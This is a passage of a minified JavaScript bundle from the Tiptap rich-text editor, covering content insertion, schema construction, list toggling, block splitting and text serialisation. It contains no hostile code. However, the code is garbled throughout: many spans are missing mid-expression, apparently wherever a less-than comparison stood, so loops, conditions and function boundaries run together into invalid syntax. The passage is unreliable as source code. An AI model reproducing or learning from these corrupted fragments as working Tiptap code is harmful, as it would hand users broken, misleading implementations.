l=n.node.marks.find(u=>u.type===e);l&&(t=l.attrs)}if(!YP([...n.node.marks],e,t))return;let r=n.index,o=s.start()+n.offset,a=r+1,c=o+n.node.nodeSize;for(;r>0&&iI([...s.parent.child(r-1).marks],e,t);)r-=1,o-=s.parent.child(r).nodeSize;for(;a({tr:t,state:n,dispatch:i})=>{const r=Ic(s,n.schema),{doc:o,selection:a}=t,{$from:c,from:l,to:u}=a;if(i){const h=BE(c,r,e);if(h&&h.from<=l&&h.to>=u){const d=_t.create(o,h.from,h.to);t.setSelection(d)}}return!0},NG=s=>e=>{const t=typeof s=="function"?s(e):s;for(let n=0;n({editor:t,view:n,tr:i,dispatch:r})=>{e={scrollIntoView:!0,...e};const o=()=>{(Rw()||rI())&&n.dom.focus(),BG()&&!Rw()&&!rI()&&n.dom.focus({preventScroll:!0}),requestAnimationFrame(()=>{t.isDestroyed||(n.focus(),e!=null&&e.scrollIntoView&&t.commands.scrollIntoView())})};try{if(n.hasFocus()&&s===null||s===!1)return!0}catch{return!1}if(r&&s===null&&!JP(t.state.selection))return o(),!0;const a=ZP(i.doc,s)||t.state.selection,c=t.state.selection.eq(a);return r&&(c||i.setSelection(a),c&&i.storedMarks&&i.setStoredMarks(i.storedMarks),o()),!0},$G=(s,e)=>t=>s.every((n,i)=>e(n,{...t,index:i})),HG=(s,e)=>({tr:t,commands:n})=>n.insertContentAt({from:t.selection.from,to:t.selection.to},s,e),eO=s=>{const e=s.childNodes;for(let t=e.length-1;t>=0;t-=1){const n=e[t];n.nodeType===3&&n.nodeValue&&/^(\n\s\s|\n)$/.test(n.nodeValue)?s.removeChild(n):n.nodeType===1&&eO(n)}return s};function I_(s){if(typeof window>"u")throw new Error("[tiptap error]: there is no window object available, so this function cannot be used");const e=`${s}`,t=new window.DOMParser().parseFromString(e,"text/html").body;return eO(t)}function Zv(s,e,t){if(s instanceof yc||s instanceof Fe)return s;t={slice:!0,parseOptions:{},...t};const n=typeof s=="object"&&s!==null,i=typeof s=="string";if(n)try{if(Array.isArray(s)&&s.length>0)return Fe.fromArray(s.map(a=>e.nodeFromJSON(a)));const o=e.nodeFromJSON(s);return t.errorOnInvalidContent&&o.check(),o}catch(r){if(t.errorOnInvalidContent)throw new Error("[tiptap error]: Invalid JSON content",{cause:r});return console.warn("[tiptap warn]: Invalid content.","Passed value:",s,"Error:",r),Zv("",e,t)}if(i){if(t.errorOnInvalidContent){let o=!1,a="";const c=new RL({topNode:e.spec.topNode,marks:e.spec.marks,nodes:e.spec.nodes.append({__tiptap__private__unknown__catch__all__node:{content:"inline*",group:"block",parseDOM:[{tag:"*",getAttrs:l=>(o=!0,a=typeof l=="string"?l:l.outerHTML,null)}]}})});if(t.slice?Av.fromSchema(c).parseSlice(I_(s),t.parseOptions):Av.fromSchema(c).parse(I_(s),t.parseOptions),t.errorOnInvalidContent&&o)throw new Error("[tiptap error]: Invalid HTML content",{cause:new Error(`Invalid element found: ${a}`)})}const r=Av.fromSchema(e);return t.slice?r.parseSlice(I_(s),t.parseOptions).content:r.parse(I_(s),t.parseOptions)}return Zv("",e,t)}function UG(s,e,t){const n=s.steps.length-1;if(n{o===0&&(o=u)}),s.setSelection(Ft.near(s.doc.resolve(o),t))}var WG=s=>!("type"in s),zG=(s,e,t)=>({tr:n,dispatch:i,editor:r})=>{var o;if(i){t={parseOptions:r.options.parseOptions,updateSelection:!0,applyInputRules:!1,applyPasteRules:!1,...t};let a;const c=g=>{r.emit("contentError",{editor:r,error:g,disableCollaboration:()=>{"collaboration"in r.storage&&typeof r.storage.collaboration=="object"&&r.storage.collaboration&&(r.storage.collaboration.isDisabled=!0)}})},l={preserveWhitespace:"full",...t.parseOptions};if(!t.errorOnInvalidContent&&!r.options.enableContentCheck&&r.options.emitContentError)try{Zv(e,r.schema,{parseOptions:l,errorOnInvalidContent:!0})}catch(g){c(g)}try{a=Zv(e,r.schema,{parseOptions:l,errorOnInvalidContent:(o=t.errorOnInvalidContent)!=null?o:r.options.enableContentCheck})}catch(g){return c(g),!1}let{from:u,to:h}=typeof s=="number"?{from:s,to:s}:{from:s.from,to:s.to},d=!0,p=!0;if((WG(a)?a:[a]).forEach(g=>{g.check(),d=d?g.isText&&g.marks.length===0:!1,p=p?g.isBlock:!1}),u===h&&p){const{parent:g}=n.doc.resolve(u);g.isTextblock&&!g.type.spec.code&&!g.childCount&&(u-=1,h+=1)}let v;if(d){if(Array.isArray(e))v=e.map(g=>g.text||"").join("");else if(e instanceof Fe){let g="";e.forEach(y=>{y.text&&(g+=y.text)}),v=g}else typeof e=="object"&&e&&e.text?v=e.text:v=e;n.insertText(v,u,h)}else{v=a;const g=n.doc.resolve(u),y=g.node(),b=g.parentOffset===0,_=y.isText||y.isTextblock,w=y.content.size>0;b&&_&&w&&p&&(u=Math.max(0,u-1)),n.replaceWith(u,h,v)}t.updateSelection&&UG(n,n.steps.length-1,-1),t.applyInputRules&&n.setMeta("applyInputRules",{from:u,text:v}),t.applyPasteRules&&n.setMeta("applyPasteRules",{from:u,text:v})}return!0},jG=()=>({state:s,dispatch:e})=>d7(s,e),VG=()=>({state:s,dispatch:e})=>f7(s,e),GG=()=>({state:s,dispatch:e})=>nP(s,e),qG=()=>({state:s,dispatch:e})=>aP(s,e),KG=()=>({state:s,dispatch:e,tr:t})=>{try{const n=Y0(s.doc,s.selection.$from.pos,-1);return n==null?!1:(t.join(n,2),e&&e(t),!0)}catch{return!1}},QG=()=>({state:s,dispatch:e,tr:t})=>{try{const n=Y0(s.doc,s.selection.$from.pos,1);return n==null?!1:(t.join(n,2),e&&e(t),!0)}catch{return!1}},XG=()=>({state:s,dispatch:e})=>u7(s,e),YG=()=>({state:s,dispatch:e})=>h7(s,e);function tO(){return typeof navigator<"u"?/Mac/.test(navigator.platform):!1}function JG(s){const e=s.split(/-(?!$)/);let t=e[e.length-1];t==="Space"&&(t=" ");let n,i,r,o;for(let a=0;a({editor:e,view:t,tr:n,dispatch:i})=>{const r=JG(s).split(/-(?!$)/),o=r.find(l=>!["Alt","Ctrl","Meta","Shift"].includes(l)),a=new KeyboardEvent("keydown",{key:o==="Space"?" ":o,altKey:r.includes("Alt"),ctrlKey:r.includes("Ctrl"),metaKey:r.includes("Meta"),shiftKey:r.includes("Shift"),bubbles:!0,cancelable:!0}),c=e.captureTransaction(()=>{t.someProp("handleKeyDown",l=>l(t,a))});return c==null||c.steps.forEach(l=>{const u=l.map(n.mapping);u&&i&&n.maybeStep(u)}),!0};function lh(s,e,t={}){const{from:n,to:i,empty:r}=s.selection,o=e?wn(e,s.schema):null,a=[];s.doc.nodesBetween(n,i,(h,d)=>{if(h.isText)return;const p=Math.max(n,d),m=Math.min(i,d+h.nodeSize);a.push({node:h,from:p,to:m})});const c=i-n,l=a.filter(h=>o?o.name===h.node.type.name:!0).filter(h=>Iw(h.node.attrs,t,{strict:!1}));return r?!!l.length:l.reduce((h,d)=>h+d.to-d.from,0)>=c}var eq=(s,e={})=>({state:t,dispatch:n})=>{const i=wn(s,t.schema);return lh(t,i,e)?p7(t,n):!1},tq=()=>({state:s,dispatch:e})=>hP(s,e),sq=s=>({state:e,dispatch:t})=>{const n=wn(s,e.schema);return A7(n)(e,t)},nq=()=>({state:s,dispatch:e})=>cP(s,e);function ik(s,e){return e.nodes[s]?"node":e.marks[s]?"mark":null}function oI(s,e){const t=typeof e=="string"?[e]:e;return Object.keys(s).reduce((n,i)=>(t.includes(i)||(n[i]=s[i]),n),{})}var iq=(s,e)=>({tr:t,state:n,dispatch:i})=>{let r=null,o=null;const a=ik(typeof s=="string"?s:s.name,n.schema);if(!a)return!1;a==="node"&&(r=wn(s,n.schema)),a==="mark"&&(o=Ic(s,n.schema));let c=!1;return t.selection.ranges.forEach(l=>{n.doc.nodesBetween(l.$from.pos,l.$to.pos,(u,h)=>{r&&r===u.type&&(c=!0,i&&t.setNodeMarkup(h,void 0,oI(u.attrs,e))),o&&u.marks.length&&u.marks.forEach(d=>{o===d.type&&(c=!0,i&&t.addMark(h,h+u.nodeSize,o.create(oI(d.attrs,e))))})})}),c},rq=()=>({tr:s,dispatch:e})=>(e&&s.scrollIntoView(),!0),oq=()=>({tr:s,dispatch:e})=>{if(e){const t=new _c(s.doc);s.setSelection(t)}return!0},aq=()=>({state:s,dispatch:e})=>rP(s,e),lq=()=>({state:s,dispatch:e})=>lP(s,e),cq=()=>({state:s,dispatch:e})=>y7(s,e),uq=()=>({state:s,dispatch:e})=>S7(s,e),hq=()=>({state:s,dispatch:e})=>_7(s,e);function q1(s,e,t={},n={}){return Zv(s,e,{slice:!1,parseOptions:t,errorOnInvalidContent:n.errorOnInvalidContent})}var dq=(s,{errorOnInvalidContent:e,emitUpdate:t=!0,parseOptions:n={}}={})=>({editor:i,tr:r,dispatch:o,commands:a})=>{const{doc:c}=r;if(n.preserveWhitespace!=="full"){const l=q1(s,i.schema,n,{errorOnInvalidContent:e??i.options.enableContentCheck});return o&&r.replaceWith(0,c.content.size,l).setMeta("preventUpdate",!t),!0}return o&&r.setMeta("preventUpdate",!t),a.insertContentAt({from:0,to:c.content.size},s,{parseOptions:n,errorOnInvalidContent:e??i.options.enableContentCheck})};function sO(s,e){const t=Ic(e,s.schema),{from:n,to:i,empty:r}=s.selection,o=[];r?(s.storedMarks&&o.push(...s.storedMarks),o.push(...s.selection.$head.marks())):s.doc.nodesBetween(n,i,c=>{o.push(...c.marks)});const a=o.find(c=>c.type.name===t.name);return a?{...a.attrs}:{}}function nO(s,e){const t=new QL(s);return e.forEach(n=>{n.steps.forEach(i=>{t.step(i)})}),t}function fq(s){for(let e=0;e{t(i)&&n.push({node:i,pos:r})}),n}function gq(s,e){for(let t=s.depth;t>0;t-=1){const n=s.node(t);if(e(n))return{pos:t>0?s.before(t):0,start:s.start(t),depth:t,node:n}}}function rk(s){return e=>gq(e.$from,s)}function ot(s,e,t){return s.config[e]===void 0&&s.parent?ot(s.parent,e,t):typeof s.config[e]=="function"?s.config[e].bind({...t,parent:s.parent?ot(s.parent,e,t):null}):s.config[e]}function FE(s){return s.map(e=>{const t={name:e.name,options:e.options,storage:e.storage},n=ot(e,"addExtensions",t);return n?[e,...FE(n())]:e}).flat(10)}function $E(s,e){const t=Of.fromSchema(e).serializeFragment(s),i=document.implementation.createHTMLDocument().createElement("div");return i.appendChild(t),i.innerHTML}function iO(s){return typeof s=="function"}function ns(s,e=void 0,...t){return iO(s)?e?s.bind(e)(...t):s(...t):s}function mq(s={}){return Object.keys(s).length===0&&s.constructor===Object}function sm(s){const e=s.filter(i=>i.type==="extension"),t=s.filter(i=>i.type==="node"),n=s.filter(i=>i.type==="mark");return{baseExtensions:e,nodeExtensions:t,markExtensions:n}}function rO(s){const e=[],{nodeExtensions:t,markExtensions:n}=sm(s),i=[...t,...n],r={default:null,validate:void 0,rendered:!0,renderHTML:null,parseHTML:null,keepOnSplit:!0,isRequired:!1},o=t.filter(l=>l.name!=="text").map(l=>l.name),a=n.map(l=>l.name),c=[...o,...a];return s.forEach(l=>{const u={name:l.name,options:l.options,storage:l.storage,extensions:i},h=ot(l,"addGlobalAttributes",u);if(!h)return;h().forEach(p=>{let m;Array.isArray(p.types)?m=p.types:p.types==="*"?m=c:p.types==="nodes"?m=o:p.types==="marks"?m=a:m=[],m.forEach(v=>{Object.entries(p.attributes).forEach(([g,y])=>{e.push({type:v,name:g,attribute:{...r,...y}})})})})}),i.forEach(l=>{const u={name:l.name,options:l.options,storage:l.storage},h=ot(l,"addAttributes",u);if(!h)return;const d=h();Object.entries(d).forEach(([p,m])=>{const v={...r,...m};typeof(v==null?void 0:v.default)=="function"&&(v.default=v.default()),v!=null&&v.isRequired&&(v==null?void 0:v.default)===void 0&&delete v.default,e.push({type:l.name,name:p,attribute:v})})}),e}function vq(s){const e=[];let t="",n=!1,i=!1,r=0;const o=s.length;for(let a=0;a0){r-=1,t+=c;continue}if(c===";"&&r===0){e.push(t),t="";continue}}t+=c}return t&&e.push(t),e}function aI(s){const e=[],t=vq(s||""),n=t.length;for(let i=0;i!!e).reduce((e,t)=>{const n={...e};return Object.entries(t).forEach(([i,r])=>{if(!n[i]){n[i]=r;return}if(i==="class"){const a=r?String(r).split(" "):[],c=n[i]?n[i].split(" "):[],l=a.filter(u=>!c.includes(u));n[i]=[...c,...l].join(" ")}else if(i==="style"){const a=new Map([...aI(n[i]),...aI(r)]);n[i]=Array.from(a.entries()).map(([c,l])=>`${c}: ${l}`).join("; ")}else n[i]=r}),n},{})}function ey(s,e){return e.filter(t=>t.type===s.type.name).filter(t=>t.attribute.rendered).map(t=>t.attribute.renderHTML?t.attribute.renderHTML(s.attrs)||{}:{[t.name]:s.attrs[t.name]}).reduce((t,n)=>Fs(t,n),{})}function yq(s){return typeof s!="string"?s:s.match(/^[+-]?(?:\d*\.)?\d+$/)?Number(s):s==="true"?!0:s==="false"?!1:s}function lI(s,e){return"style"in s?s:{...s,getAttrs:t=>{const n=s.getAttrs?s.getAttrs(t):s.attrs;if(n===!1)return!1;const i=e.reduce((r,o)=>{const a=o.attribute.parseHTML?o.attribute.parseHTML(t):yq(t.getAttribute(o.name));return a==null?r:{...r,[o.name]:a}},{});return{...n,...i}}}}function cI(s){return Object.fromEntries(Object.entries(s).filter(([e,t])=>e==="attrs"&&mq(t)?!1:t!=null))}function uI(s){var e,t;const n={};return!((e=s==null?void 0:s.attribute)!=null&&e.isRequired)&&"default"in((s==null?void 0:s.attribute)||{})&&(n.default=s.attribute.default),((t=s==null?void 0:s.attribute)==null?void 0:t.validate)!==void 0&&(n.validate=s.attribute.validate),[s.name,n]}function bq(s,e){var t;const n=rO(s),{nodeExtensions:i,markExtensions:r}=sm(s),o=(t=i.find(l=>ot(l,"topNode")))==null?void 0:t.name,a=Object.fromEntries(i.map(l=>{const u=n.filter(y=>y.type===l.name),h={name:l.name,options:l.options,storage:l.storage,editor:e},d=s.reduce((y,b)=>{const _=ot(b,"extendNodeSchema",h);return{...y,..._?_(l):{}}},{}),p=cI({...d,content:ns(ot(l,"content",h)),marks:ns(ot(l,"marks",h)),group:ns(ot(l,"group",h)),inline:ns(ot(l,"inline",h)),atom:ns(ot(l,"atom",h)),selectable:ns(ot(l,"selectable",h)),draggable:ns(ot(l,"draggable",h)),code:ns(ot(l,"code",h)),whitespace:ns(ot(l,"whitespace",h)),linebreakReplacement:ns(ot(l,"linebreakReplacement",h)),defining:ns(ot(l,"defining",h)),isolating:ns(ot(l,"isolating",h)),attrs:Object.fromEntries(u.map(uI))}),m=ns(ot(l,"parseHTML",h));m&&(p.parseDOM=m.map(y=>lI(y,u)));const v=ot(l,"renderHTML",h);v&&(p.toDOM=y=>v({node:y,HTMLAttributes:ey(y,u)}));const g=ot(l,"renderText",h);return g&&(p.toText=g),[l.name,p]})),c=Object.fromEntries(r.map(l=>{const u=n.filter(g=>g.type===l.name),h={name:l.name,options:l.options,storage:l.storage,editor:e},d=s.reduce((g,y)=>{const b=ot(y,"extendMarkSchema",h);return{...g,...b?b(l):{}}},{}),p=cI({...d,inclusive:ns(ot(l,"inclusive",h)),excludes:ns(ot(l,"excludes",h)),group:ns(ot(l,"group",h)),spanning:ns(ot(l,"spanning",h)),code:ns(ot(l,"code",h)),attrs:Object.fromEntries(u.map(uI))}),m=ns(ot(l,"parseHTML",h));m&&(p.parseDOM=m.map(g=>lI(g,u)));const v=ot(l,"renderHTML",h);return v&&(p.toDOM=g=>v({mark:g,HTMLAttributes:ey(g,u)})),[l.name,p]}));return new RL({topNode:o,nodes:a,marks:c})}function _q(s){const e=s.filter((t,n)=>s.indexOf(t)!==n);return Array.from(new Set(e))}function Iv(s){return s.sort((t,n)=>{const i=ot(t,"priority")||100,r=ot(n,"priority")||100;return i>r?-1:in.name));return t.length&&console.warn(`[tiptap warn]: Duplicate extension names found: [${t.map(n=>`'${n}'`).join(", ")}]. This can lead to issues.`),e}function aO(s,e,t){const{from:n,to:i}=e,{blockSeparator:r=` + +`,textSerializers:o={}}=t||{};let a="";return s.nodesBetween(n,i,(c,l,u,h)=>{var d;c.isBlock&&l>n&&(a+=r);const p=o==null?void 0:o[c.type.name];if(p)return u&&(a+=p({node:c,pos:l,parent:u,index:h,range:e})),!1;c.isText&&(a+=(d=c==null?void 0:c.text)==null?void 0:d.slice(Math.max(n,l)-l,i-l))}),a}function Sq(s,e){const t={from:0,to:s.content.size};return aO(s,t,e)}function lO(s){return Object.fromEntries(Object.entries(s.nodes).filter(([,e])=>e.spec.toText).map(([e,t])=>[e,t.spec.toText]))}function wq(s,e){const t=wn(e,s.schema),{from:n,to:i}=s.selection,r=[];s.doc.nodesBetween(n,i,a=>{r.push(a)});const o=r.reverse().find(a=>a.type.name===t.name);return o?{...o.attrs}:{}}function cO(s,e){const t=ik(typeof e=="string"?e:e.name,s.schema);return t==="node"?wq(s,e):t==="mark"?sO(s,e):{}}function kq(s,e=JSON.stringify){const t={};return s.filter(n=>{const i=e(n);return Object.prototype.hasOwnProperty.call(t,i)?!1:t[i]=!0})}function Cq(s){const e=kq(s);return e.length===1?e:e.filter((t,n)=>!e.filter((r,o)=>o!==n).some(r=>t.oldRange.from>=r.oldRange.from&&t.oldRange.to<=r.oldRange.to&&t.newRange.from>=r.newRange.from&&t.newRange.to<=r.newRange.to))}function uO(s){const{mapping:e,steps:t}=s,n=[];return e.maps.forEach((i,r)=>{const o=[];if(i.ranges.length)i.forEach((a,c)=>{o.push({from:a,to:c})});else{const{from:a,to:c}=t[r];if(a===void 0||c===void 0)return;o.push({from:a,to:c})}o.forEach(({from:a,to:c})=>{const l=e.slice(r).map(a,-1),u=e.slice(r).map(c),h=e.invert().map(l,-1),d=e.invert().map(u);n.push({oldRange:{from:h,to:d},newRange:{from:l,to:u}})})}),Cq(n)}function HE(s,e,t){const n=[];return s===e?t.resolve(s).marks().forEach(i=>{const r=t.resolve(s),o=BE(r,i.type);o&&n.push({mark:i,...o})}):t.nodesBetween(s,e,(i,r)=>{!i||(i==null?void 0:i.nodeSize)===void 0||n.push(...i.marks.map(o=>({from:r,to:r+i.nodeSize,mark:o})))}),n}var Tq=(s,e,t,n=20)=>{const i=s.doc.resolve(t);let r=n,o=null;for(;r>0&&o===null;){const a=i.node(r);(a==null?void 0:a.type.name)===e?o=a:r-=1}return[o,r]};function Sm(s,e){return e.nodes[s]||e.marks[s]||null}function gS(s,e,t){return Object.fromEntries(Object.entries(t).filter(([n])=>{const i=s.find(r=>r.type===e&&r.name===n);return i?i.attribute.keepOnSplit:!1}))}var Aq=(s,e=500)=>{let t="";const n=s.parentOffset;return s.parent.nodesBetween(Math.max(0,n-e),n,(i,r,o,a)=>{var c,l;const u=((l=(c=i.type.spec).toText)==null?void 0:l.call(c,{node:i,pos:r,parent:o,index:a}))||i.textContent||"%leaf%";t+=i.isAtom&&!i.isText?u:u.slice(0,Math.max(0,n-r))}),t};function K1(s,e,t={}){const{empty:n,ranges:i}=s.selection,r=e?Ic(e,s.schema):null;if(n)return!!(s.storedMarks||s.selection.$from.marks()).filter(h=>r?r.name===h.type.name:!0).find(h=>Iw(h.attrs,t,{strict:!1}));let o=0;const a=[];if(i.forEach(({$from:h,$to:d})=>{const p=h.pos,m=d.pos;s.doc.nodesBetween(p,m,(v,g)=>{if(r&&v.inlineContent&&!v.type.allowsMarkType(r))return!1;if(!v.isText&&!v.marks.length)return;const y=Math.max(p,g),b=Math.min(m,g+v.nodeSize),_=b-y;o+=_,a.push(...v.marks.map(w=>({mark:w,from:y,to:b})))})}),o===0)return!1;const c=a.filter(h=>r?r.name===h.mark.type.name:!0).filter(h=>Iw(h.mark.attrs,t,{strict:!1})).reduce((h,d)=>h+d.to-d.from,0),l=a.filter(h=>r?h.mark.type!==r&&h.mark.type.excludes(r):!0).reduce((h,d)=>h+d.to-d.from,0);return(c>0?c+l:c)>=o}function Eq(s,e,t={}){if(!e)return lh(s,null,t)||K1(s,null,t);const n=ik(e,s.schema);return n==="node"?lh(s,e,t):n==="mark"?K1(s,e,t):!1}var Mq=(s,e)=>{const{$from:t,$to:n,$anchor:i}=s.selection;if(e){const r=rk(a=>a.type.name===e)(s.selection);if(!r)return!1;const o=s.doc.resolve(r.pos+1);return i.pos+1===o.end()}return!(n.parentOffset{const{$from:e,$to:t}=s.selection;return!(e.parentOffset>0||e.pos!==t.pos)};function hI(s,e){return Array.isArray(e)?e.some(t=>(typeof t=="string"?t:t.name)===s.name):e}function _C(s,e){const{nodeExtensions:t}=sm(e),n=t.find(o=>o.name===s);if(!n)return!1;const i={name:n.name,options:n.options,storage:n.storage},r=ns(ot(n,"group",i));return typeof r!="string"?!1:r.split(" ").includes("list")}function ty(s,{checkChildren:e=!0,ignoreWhitespace:t=!1}={}){var n;if(t){if(s.type.name==="hardBreak")return!0;if(s.isText)return!/\S/.test((n=s.text)!=null?n:"")}if(s.isText)return!s.text;if(s.isAtom||s.isLeaf)return!1;if(s.content.childCount===0)return!0;if(e){let i=!0;return s.content.forEach(r=>{i!==!1&&(ty(r,{ignoreWhitespace:t,checkChildren:e})||(i=!1))}),i}return!1}function hO(s){return s instanceof vt}var dO=class fO{constructor(e){this.position=e}static fromJSON(e){return new fO(e.position)}toJSON(){return{position:this.position}}};function Iq(s,e){const t=e.mapping.mapResult(s.position);return{position:new dO(t.pos),mapResult:t}}function Rq(s){return new dO(s)}function Lq(s,e,t){var n;const{selection:i}=e;let r=null;if(JP(i)&&(r=i.$cursor),r){const a=(n=s.storedMarks)!=null?n:r.marks();return r.parent.type.allowsMarkType(t)&&(!!t.isInSet(a)||!a.some(l=>l.type.excludes(t)))}const{ranges:o}=i;return o.some(({$from:a,$to:c})=>{let l=a.depth===0?s.doc.inlineContent&&s.doc.type.allowsMarkType(t):!1;return s.doc.nodesBetween(a.pos,c.pos,(u,h,d)=>{if(l)return!1;if(u.isInline){const p=!d||d.type.allowsMarkType(t),m=!!t.isInSet(u.marks)||!u.marks.some(v=>v.type.excludes(t));l=p&&m}return!l}),l})}var Pq=(s,e={})=>({tr:t,state:n,dispatch:i})=>{const{selection:r}=t,{empty:o,ranges:a}=r,c=Ic(s,n.schema);if(i)if(o){const l=sO(n,c);t.addStoredMark(c.create({...l,...e}))}else a.forEach(l=>{const u=l.$from.pos,h=l.$to.pos;n.doc.nodesBetween(u,h,(d,p)=>{const m=Math.max(p,u),v=Math.min(p+d.nodeSize,h);d.marks.find(y=>y.type===c)?d.marks.forEach(y=>{c===y.type&&t.addMark(m,v,c.create({...y.attrs,...e}))}):t.addMark(m,v,c.create(e))})});return Lq(n,t,c)},Oq=(s,e)=>({tr:t})=>(t.setMeta(s,e),!0),Dq=(s,e={})=>({state:t,dispatch:n,chain:i})=>{const r=wn(s,t.schema);let o;return t.selection.$anchor.sameParent(t.selection.$head)&&(o=t.selection.$anchor.parent.attrs),r.isTextblock?i().command(({commands:a})=>kx(r,{...o,...e})(t)?!0:a.clearNodes()).command(({state:a})=>kx(r,{...o,...e})(a,n)).run():(console.warn('[tiptap warn]: Currently "setNode()" only supports text block nodes.'),!1)},Nq=s=>({tr:e,dispatch:t})=>{if(t){const{doc:n}=e,i=Fh(s,0,n.content.size),r=vt.create(n,i);e.setSelection(r)}return!0},Bq=(s,e)=>({tr:t,state:n,dispatch:i})=>{const{selection:r}=n;let o,a;return typeof e=="number"?(o=e,a=e):e&&"from"in e&&"to"in e?(o=e.from,a=e.to):(o=r.from,a=r.to),i&&t.doc.nodesBetween(o,a,(c,l)=>{c.isText||t.setNodeMarkup(l,void 0,{...c.attrs,dir:s})}),!0},Fq=s=>({tr:e,dispatch:t})=>{if(t){const{doc:n}=e,{from:i,to:r}=typeof s=="number"?{from:s,to:s}:s,o=_t.atStart(n).from,a=_t.atEnd(n).to,c=Fh(i,o,a),l=Fh(r,o,a),u=_t.create(n,c,l);e.setSelection(u)}return!0},$q=s=>({state:e,dispatch:t})=>{const n=wn(s,e.schema);return x7(n)(e,t)};function dI(s,e){const t=s.storedMarks||s.selection.$to.parentOffset&&s.selection.$from.marks();if(t){const n=t.filter(i=>e==null?void 0:e.includes(i.type.name));s.tr.ensureMarks(n)}}var Hq=({keepMarks:s=!0}={})=>({tr:e,state:t,dispatch:n,editor:i})=>{const{selection:r,doc:o}=e,{$from:a,$to:c}=r,l=i.extensionManager.attributes,u=gS(l,a.node().type.name,a.node().attrs);if(r instanceof vt&&r.node.isBlock)return!a.parentOffset||!bc(o,a.pos)?!1:(n&&(s&&dI(t,i.extensionManager.splittableMarks),e.split(a.pos).scrollIntoView()),!0);if(!a.parent.isBlock)return!1;const h=c.parentOffset===c.parent.content.size,d=a.depth===0?void 0:fq(a.node(-1).contentMatchAt(a.indexAfter(-1)));let p=h&&d?[{type:d,attrs:u}]:void 0,m=bc(e.doc,e.mapping.map(a.pos),1,p);if(!p&&!m&&bc(e.doc,e.mapping.map(a.pos),1,d?[{type:d}]:void 0)&&(m=!0,p=d?[{type:d,attrs:u}]:void 0),n){if(m&&(r instanceof _t&&e.deleteSelection(),e.split(e.mapping.map(a.pos),1,p),d&&!h&&!a.parentOffset&&a.parent.type!==d)){const v=e.mapping.map(a.before()),g=e.doc.resolve(v);a.node(-1).canReplaceWith(g.index(),g.index()+1,d)&&e.setNodeMarkup(e.mapping.map(a.before()),d)}s&&dI(t,i.extensionManager.splittableMarks),e.scrollIntoView()}return m},Uq=(s,e={})=>({tr:t,state:n,dispatch:i,editor:r})=>{var o;const a=wn(s,n.schema),{$from:c,$to:l}=n.selection,u=n.selection.node;if(u&&u.isBlock||c.depth<2||!c.sameParent(l))return!1;const h=c.node(-1);if(h.type!==a)return!1;const d=r.extensionManager.attributes;if(c.parent.content.size===0&&c.node(-1).childCount===c.indexAfter(-1)){if(c.depth===2||c.node(-3).type!==a||c.index(-2)!==c.node(-2).childCount-1)return!1;if(i){let y=Fe.empty;const b=c.index(-1)?1:c.index(-2)?2:3;for(let k=c.depth-b;k>=c.depth-3;k-=1)y=Fe.from(c.node(k).copy(y));const _=c.indexAfter(-1){if(T>-1)return!1;k.isTextblock&&k.content.size===0&&(T=A+1)}),T>-1&&t.setSelection(_t.near(t.doc.resolve(T))),t.scrollIntoView()}return!0}const p=l.pos===c.end()?h.contentMatchAt(0).defaultType:null,m={...gS(d,h.type.name,h.attrs),...e},v={...gS(d,c.node().type.name,c.node().attrs),...e};t.delete(c.pos,l.pos);const g=p?[{type:a,attrs:m},{type:p,attrs:v}]:[{type:a,attrs:m}];if(!bc(t.doc,c.pos,2))return!1;if(i){const{selection:y,storedMarks:b}=n,{splittableMarks:_}=r.extensionManager,w=b||y.$to.parentOffset&&y.$from.marks();if(t.split(c.pos,2,g).scrollIntoView(),!w||!i)return!0;const S=w.filter(C=>_.includes(C.type.name));t.ensureMarks(S)}return!0},SC=(s,e)=>{const t=rk(o=>o.type===e)(s.selection);if(!t)return!0;const n=s.doc.resolve(Math.max(0,t.pos-1)).before(t.depth);if(n===void 0)return!0;const i=s.doc.nodeAt(n);return t.node.type===(i==null?void 0:i.type)&&dh(s.doc,t.pos)&&s.join(t.pos),!0},wC=(s,e)=>{const t=rk(o=>o.type===e)(s.selection);if(!t)return!0;const n=s.doc.resolve(t.start).after(t.depth);if(n===void 0)return!0;const i=s.doc.nodeAt(n);return t.node.type===(i==null?void 0:i.type)&&dh(s.doc,n)&&s.join(n),!0};function Wq(s){const e=s.doc,t=e.firstChild;if(!t)return null;const n=e.resolve(1),i=e.resolve(t.nodeSize-1);return _t.between(n,i)}var zq=(s,e,t,n={})=>({editor:i,tr:r,state:o,dispatch:a,chain:c,commands:l,can:u})=>{const{extensions:h,splittableMarks:d}=i.extensionManager,p=wn(s,o.schema),m=wn(e,o.schema),{selection:v,storedMarks:g}=o,{$from:y,$to:b}=v,_=y.blockRange(b),w=g||v.$to.parentOffset&&v.$from.marks();if(!_)return!1;const S=rk(L=>_C(L.type.name,h))(v),C=v.from===0&&v.to===o.doc.content.size,T=o.doc.content.content,k=T.length===1?T[0]:null,A=C&&k&&_C(k.type.name,h)?{node:k,pos:0}:null,M=S??A,R=!!S&&_.depth>=1&&_.depth-S.depth<=1,P=!!A;if((R||P)&&M){if(M.node.type===p)return C&&P?c().command(({tr:L,dispatch:z})=>{const Q=Wq(L);return Q?(L.setSelection(Q),z&&z(L),!0):!1}).liftListItem(m).run():l.liftListItem(m);if(_C(M.node.type.name,h)&&p.validContent(M.node.content))return c().command(()=>(r.setNodeMarkup(M.pos,p),!0)).command(()=>SC(r,p)).command(()=>wC(r,p)).run()}return!t||!w||!a?c().command(()=>u().wrapInList(p,n)?!0:l.clearNodes()).wrapInList(p,n).command(()=>SC(r,p)).command(()=>wC(r,p)).run():c().command(()=>{const L=u().wrapInList(p,n),z=w.filter(Q=>d.includes(Q.type.name));return r.ensureMarks(z),L?!0:l.clearNodes()}).wrapInList(p,n).command(()=>SC(r,p)).command(()=>wC(r,p)).run()},jq=(s,e={},t={})=>({state:n,commands:i})=>{const{extendEmptyMarkRange:r=!1}=t,o=Ic(s,n.schema);return K1(n,o,e)?i.unsetMark(o,{extendEmptyMarkRange:r}):i.setMark(o,e)},Vq=(s,e,t={})=>({state:n,commands:i})=>{const r=wn(s,n.schema),o=wn(e,n.schema),a=lh(n,r,t);let c;return n.selection.$anchor.sameParent(n.selection.$head)&&(c=n.selection.$anchor.parent.attrs),a?i.setNode(o,c):i.setNode(r,{...c,...t})},Gq=(s,e={})=>({state:t,commands:n})=>{const i=wn(s,t.schema);return lh(t,i,e)?n.lift(i):n.wrapIn(i,e)},qq=()=>({state:s,dispatch:e})=>{const t=s.plugins;for(let n=0;n=0;c-=1)o.step(a.steps[c].invert(a.docs[c]));if(r.text){const c=o.doc.resolve(r.from).marks();o.replaceWith(r.from,r.to,s.schema.text(r.text,c))}else 